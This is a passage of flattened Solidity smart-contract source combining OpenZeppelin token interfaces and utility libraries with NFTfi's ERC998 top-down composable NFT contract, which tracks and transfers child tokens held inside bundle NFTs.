calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "../interfaces/IERC998ERC721TopDown.sol"; import "../interfaces/IERC998ERC721TopDownEnumerable.sol"; /** * @title ERC998TopDown * @author NFTfi * @dev ERC998ERC721 Top-Down Composable Non-Fungible Token. * See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-998.md * This implementation does not support children to be nested bundles, erc20 nor bottom-up */ abstract contract ERC998TopDown is ERC721Enumerable, IERC998ERC721TopDown, IERC998ERC721TopDownEnumerable, ReentrancyGuard { using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableSet for EnumerableSet.AddressSet; // return this.rootOwnerOf.selector ^ this.rootOwnerOfChild.selector ^ // this.tokenOwnerOf.selector ^ this.ownerOfChild.selector; bytes32 public constant ERC998_MAGIC_VALUE = 0xcd740db500000000000000000000000000000000000000000000000000000000; bytes32 internal constant ERC998_MAGIC_MASK = 0xffffffff00000000000000000000000000000000000000000000000000000000; uint256 public tokenCount = 0; // tokenId => child contract mapping(uint256 => EnumerableSet.AddressSet) internal childContracts; // tokenId => (child address => array of child tokens) mapping(uint256 => mapping(address => EnumerableSet.UintSet)) internal childTokens; // child address => childId => tokenId // this is used for ERC721 type tokens mapping(address => mapping(uint256 => uint256)) internal childTokenOwner; /** * @notice Tells whether the ERC721 type child exists or not * @param _childContract The contract address of the child token * @param _childTokenId The tokenId of the child * @return True if the child exists, false otherwise */ function childExists(address _childContract, uint256 _childTokenId) external view virtual returns (bool) { uint256 tokenId = childTokenOwner[_childContract][_childTokenId]; return tokenId != 0; } /** * @notice Get the total number of child contracts with tokens that are owned by _tokenId * @param _tokenId The parent token of child tokens in child contracts * @return uint256 The total number of child contracts with tokens owned by _tokenId */ function totalChildContracts(uint256 _tokenId) external view virtual override returns (uint256) { return childContracts[_tokenId].length(); } /** * @notice Get child contract by tokenId and index * @param _tokenId The parent token of child tokens in child contract * @param _index The index position of the child contract * @return childContract The contract found at the _tokenId and index */ function childContractByIndex(uint256 _tokenId, uint256 _index) external view virtual override returns (address childContract) { return childContracts[_tokenId].at(_index); } /** * @notice Get the total number of child tokens owned by tokenId that exist in a child contract * @param _tokenId The parent token of child tokens * @param _childContract The child contract containing the child tokens * @return uint256 The total number of child tokens found in child contract that are owned by _tokenId */ function totalChildTokens(uint256 _tokenId, address _childContract) external view override returns (uint256) { return childTokens[_tokenId][_childContract].length(); } /** * @notice Get child token owned by _tokenId, in child contract, at index position * @param _tokenId The parent token of the child token * @param _childContract The child contract of the child token * @param _index The index position of the child token * @return childTokenId The child tokenId for the parent token, child token and index */ function childTokenByIndex( uint256 _tokenId, address _childContract, uint256 _index ) external view virtual override returns (uint256 childTokenId) { return childTokens[_tokenId][_childContract].at(_index); } /** * @notice Get the parent tokenId and its owner of a ERC721 child token * @param _childContract The contract address of the child token * @param _childTokenId The tokenId of the child * @return parentTokenOwner The parent address of the parent token and ERC998 magic value * @return parentTokenId The parent tokenId of _childTokenId */ function ownerOfChild(address _childContract, uint256 _childTokenId) external view virtual override returns (bytes32 parentTokenOwner, uint256 parentTokenId) { parentTokenId = childTokenOwner[_childContract][_childTokenId]; require(parentTokenId != 0, "owner of child not found"); address parentTokenOwnerAddress = ownerOf(parentTokenId); // solhint-disable-next-line no-inline-assembly assembly { parentTokenOwner := or(ERC998_MAGIC_VALUE, parentTokenOwnerAddress) } } /** * @notice Get the root owner of tokenId * @param _tokenId The token to query for a root owner address * @return rootOwner The root owner at the top of tree of tokens and ERC998 magic value. */ function rootOwnerOf(uint256 _tokenId) public view virtual override returns (bytes32 rootOwner) { return rootOwnerOfChild(address(0), _tokenId); } /** * @notice Get the root owner of a child token * @dev Returns the owner at the top of the tree of composables * Use Cases handled: * - Case 1: Token owner is this contract and token. * - Case 2: Token owner is other external top-down composable * - Case 3: Token owner is other contract * - Case 4: Token owner is user * @param _childContract The contract address of the child token * @param _childTokenId The tokenId of the child * @return rootOwner The root owner at the top of tree of tokens and ERC998 magic value */ function rootOwnerOfChild(address _childContract, uint256 _childTokenId) public view virtual override returns (bytes32 rootOwner) { address rootOwnerAddress; if (_childContract != address(0)) { (rootOwnerAddress, _childTokenId) = _ownerOfChild(_childContract, _childTokenId); } else { rootOwnerAddress = ownerOf(_childTokenId); } if (rootOwnerAddress.isContract()) { try IERC998ERC721TopDown(rootOwnerAddress).rootOwnerOfChild(address(this), _childTokenId) returns ( bytes32 returnedRootOwner ) { // Case 2: Token owner is other external top-down composable if (returnedRootOwner & ERC998_MAGIC_MASK == ERC998_MAGIC_VALUE) { return returnedRootOwner; } } catch { // solhint-disable-previous-line no-empty-blocks } } // Case 3: Token owner is other contract // Or // Case 4: Token owner is user // solhint-disable-next-line no-inline-assembly assembly { rootOwner := or(ERC998_MAGIC_VALUE, rootOwnerAddress) } return rootOwner; } /** * @dev See {IERC165-supportsInterface}. * The interface id 0x1efdf36a is added. The spec claims it to be the interface id of IERC998ERC721TopDown. * But it is not. * It is added anyway in case some contract checks it being compliant with the spec. */ function supportsInterface(bytes4 _interfaceId) public view virtual override(ERC721Enumerable) returns (bool) { return _interfaceId == type(IERC998ERC721TopDown).interfaceId || _interfaceId == type(IERC998ERC721TopDownEnumerable).interfaceId || _interfaceId == 0x1efdf36a || super.supportsInterface(_interfaceId); } /** * @notice Mints a new bundle * @param _to The address that owns the new bundle * @return The id of the new bundle */ function _safeMint(address _to) internal returns (uint256) { uint256 id = ++tokenCount; _safeMint(_to, id); return id; } /** * @notice Transfer child token from top-down composable to address * @param _fromTokenId The owning token to transfer from * @param _to The address that receives the child token * @param _childContract The ERC721 contract of the child token * @param _childTokenId The tokenId of the token that is being transferred */ function safeTransferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId ) external virtual override nonReentrant { _transferChild(_fromTokenId, _to, _childContract, _childTokenId); IERC721(_childContract).safeTransferFrom(address(this), _to, _childTokenId); emit TransferChild(_fromTokenId, _to, _childContract, _childTokenId); } /** * @notice Transfer child token from top-down composable to address or other top-down composable * @param _fromTokenId The owning token to transfer from * @param _to The address that receives the child token * @param _childContract The ERC721 contract of the child token * @param _childTokenId The tokenId of the token that is being transferred * @param _data Additional data with no specified format */ function safeTransferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId, bytes memory _data ) external virtual override nonReentrant { _transferChild(_fromTokenId, _to, _childContract, _childTokenId); if (_to == address(this)) { _validateAndReceiveChild(msg.sender, _childContract, _childTokenId, _data); } else { IERC721(_childContract).safeTransferFrom(address(this), _to, _childTokenId, _data); emit TransferChild(_fromTokenId, _to, _childContract, _childTokenId); } } /** * @dev Transfer child token from top-down composable to address * @param _fromTokenId The owning token to transfer from * @param _to The address that receives the child token * @param _childContract The ERC721 contract of the child token * @param _childTokenId The tokenId of the token that is being transferred */ function transferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId ) external virtual override nonReentrant { _transferChild(_fromTokenId, _to, _childContract, _childTokenId); _oldNFTsTransfer(_to, _childContract, _childTokenId); emit TransferChild(_fromTokenId, _to, _childContract, _childTokenId); } /** * @notice NOT SUPPORTED * Intended to transfer bottom-up composable child token from top-down composable to other ERC721 token. */ function transferChildToParent( uint256, address, uint256, address, uint256, bytes memory ) external pure override { revert("BOTTOM_UP_CHILD_NOT_SUPPORTED"); } /** * @notice Transfer a child token from an ERC721 contract to a composable. Used for old tokens that does not * have a safeTransferFrom method like cryptokitties */ function getChild( address, uint256, address, uint256 ) external pure override { revert("external calls restricted"); } /** * @notice Transfer a child token from an ERC721 contract to a composable. Used for old tokens that does not * have a safeTransferFrom method like cryptokitties * @dev This contract has to be approved first in _childContract * @param _from The address that owns the child token. * @param _tokenId The token that becomes the parent owner * @param _childContract The ERC721 contract of the child token * @param _childTokenId The tokenId of the child token */ function _getChild( address _from, uint256 _tokenId, address _childContract, uint256 _childTokenId ) internal virtual nonReentrant { _receiveChild(_from, _tokenId, _childContract, _childTokenId); IERC721(_childContract).transferFrom(_from, address(this), _childTokenId); } /** * @notice A token receives a child token * param The address that caused the transfer * @param _from The owner of the child token * @param _childTokenId The token that is being transferred to the parent * @param _data Up to the first 32 bytes contains an integer which is the receiving parent tokenId * @return the selector of this method */ function onERC721Received( address, address _from, uint256 _childTokenId, bytes calldata _data ) external virtual override nonReentrant returns (bytes4) { _validateAndReceiveChild(_from, msg.sender, _childTokenId, _data); return this.onERC721Received.selector; } /** * @dev ERC721 implementation hook that is called before any token transfer. Prevents nested bundles * @param _from address of the current owner of the token * @param _to destination address * @param _tokenId id of the token to transfer */ function _beforeTokenTransfer( address _from, address _to, uint256 _tokenId ) internal virtual override { require(_to != address(this), "nested bundles not allowed"); super._beforeTokenTransfer(_from, _to, _tokenId); } /** * @dev Validates the child transfer parameters and remove the child from the bundle * @param _fromTokenId The owning token to transfer from * @param _to The address that receives the child token * @param _childContract The ERC721 contract of the child token * @param _childTokenId The tokenId of the token that is being transferred */ function _transferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId ) internal virtual { _validateReceiver(_to); _validateChildTransfer(_fromTokenId, _childContract, _childTokenId); _removeChild(_fromTokenId, _childContract, _childTokenId); } /** * @dev Validates the child transfer parameters * @param _fromTokenId The owning token to transfer from * @param _childContract The ERC721 contract of the child token * @param _childTokenId The tokenId of the token that is being transferred */ function _validateChildTransfer( uint256 _fromTokenId, address _childContract, uint256 _childTokenId ) internal virtual { uint256 tokenId = childTokenOwner[_childContract][_childTokenId]; require(tokenId != 0, "_transferChild _childContract _childTokenId not found"); require(tokenId == _fromTokenId, "ComposableTopDown: _transferChild wrong tokenId found"); _validateTransferSender(tokenId); } /** * @dev Validates the receiver of a child transfer * @param _to The address that receives the child token */ function _validateReceiver(address _to) internal virtual { require(_to != address(0), "child transfer to zero address"); } /** * @dev Updates the state to remove a child * @param _tokenId The owning token to transfer from * @param _childContract The ERC721 contract of the child token * @param _childTokenId The tokenId of the token that is being transferred */ function _removeChild( uint256 _tokenId, address _childContract, uint256 _childTokenId ) internal virtual { // remove child token childTokens[_tokenId][_childContract].remove(_childTokenId); delete childTokenOwner[_childContract][_childTokenId]; // remove contract if (childTokens[_tokenId][_childContract].length() == 0) { childContracts[_tokenId].remove(_childContract); } } /** * @dev Validates the data from a child transfer and receives it * @param _from The owner of the child token * @param _childContract The ERC721 contract of the child token * @param _childTokenId The token that is being transferred to the parent * @param _data Up to the first 32 bytes contains an integer which is the receiving parent tokenId */ function _validateAndReceiveChild( address _from, address _childContract, uint256 _childTokenId, bytes memory _data ) internal virtual { require(_data.length > 0, "data must contain tokenId to transfer the child token to"); // convert up to 32 bytes of _data to uint256, owner nft tokenId passed as uint in bytes uint256 tokenId = _parseTokenId(_data); _receiveChild(_from, tokenId, _childContract, _childTokenId); } /** * @dev Update the state to receive a child * @param _from The owner of the child token * @param _tokenId The token receiving the child * @param _childContract The ERC721 contract of the child token * @param _childTokenId The token that is being transferred to the parent */ function _receiveChild( address _from, uint256 _tokenId, address _childContract, uint256 _childTokenId ) internal virtual { require(_exists(_tokenId), "bundle tokenId does not exist"); uint256 childTokensLength = childTokens[_tokenId][_childContract].length(); if (childTokensLength == 0) { childContracts[_tokenId].add(_childContract); } childTokens[_tokenId][_childContract].add(_childTokenId); childTokenOwner[_childContract][_childTokenId] = _tokenId; emit ReceivedChild(_from, _tokenId, _childContract, _childTokenId); } /** * @dev Returns the owner of a child * @param _childContract The contract address of the child token * @param _childTokenId The tokenId of the child * @return parentTokenOwner The parent address of the parent token and ERC998 magic value * @return parentTokenId The parent tokenId of _childTokenId */ function _ownerOfChild(address _childContract, uint256 _childTokenId) internal view virtual returns (address parentTokenOwner, uint256 parentTokenId) { parentTokenId = childTokenOwner[_childContract][_childTokenId]; require(parentTokenId != 0, "owner of child not found"); return (ownerOf(parentTokenId), parentTokenId); } /** * @dev Convert up to 32 bytes of_data to uint256, owner nft tokenId passed as uint in bytes * @param _data Up to the first 32 bytes contains an integer which is the receiving parent tokenId * @return tokenId the token Id encoded in the data */ function _parseTokenId(bytes memory _data) internal pure virtual returns (uint256 tokenId) { // solhint-disable-next-line no-inline-assembly assembly { tokenId := mload(add(_data, 0x20)) } } /** * @dev Transfers the NFT using method compatible with old token contracts * @param _to address of the receiver of the children * @param _childContract The contract address of the child token * @param _childTokenId The tokenId of the child */ function _oldNFTsTransfer( address _to, address _childContract, uint256 _childTokenId ) internal { // This is here to be compatible with cryptokitties and other old contracts that require being owner and // approved before transferring. // Does not work with current standard which does not allow approving self, so we must let it fail in that case. try IERC721(_childContract).approve(address(this), _childTokenId) { // solhint-disable-previous-line no-empty-blocks } catch { // solhint-disable-previous-line no-empty-blocks } IERC721(_childContract).transferFrom(address(this), _to, _childTokenId); } /** * @notice Validates that the sender is authorized to perform a child transfer * @param _fromTokenId The owning token to transfer from */ function _validateTransferSender(uint256 _fromTokenId) internal virtual { address rootOwner = address(uint160(uint256(rootOwnerOf(_fromTokenId)))); require( rootOwner == msg.sender || getApproved(_fromTokenId) == msg.sender || isApprovedForAll(rootOwner, msg.sender), "transferChild msg.sender not eligible" ); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; interface IERC998ERC1155TopDown { event Received1155Child( address indexed from, uint256 indexed toTokenId, address indexed childContract, uint256 childTokenId, uint256 amount ); event Transfer1155Child( uint256 indexed fromTokenId, address indexed to, address indexed childContract, uint256 childTokenId, uint256 amount ); event Transfer1155BatchChild( uint256 indexed fromTokenId, address indexed to, address indexed childContract, uint256[] childTokenIds, uint256[] amounts ); function safeTransferChild( uint256 fromTokenId, address to, address childContract, uint256 childTokenId, uint256 amount, bytes calldata data ) external; function safeBatchTransferChild( uint256 fromTokenId, address to, address childContract, uint256[] calldata childTokenIds, uint256[] calldata amounts, bytes calldata data ) external; function childBalance( uint256 tokenId, address childContract, uint256 childTokenId ) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; interface IERC998ERC721TopDown { event ReceivedChild( address 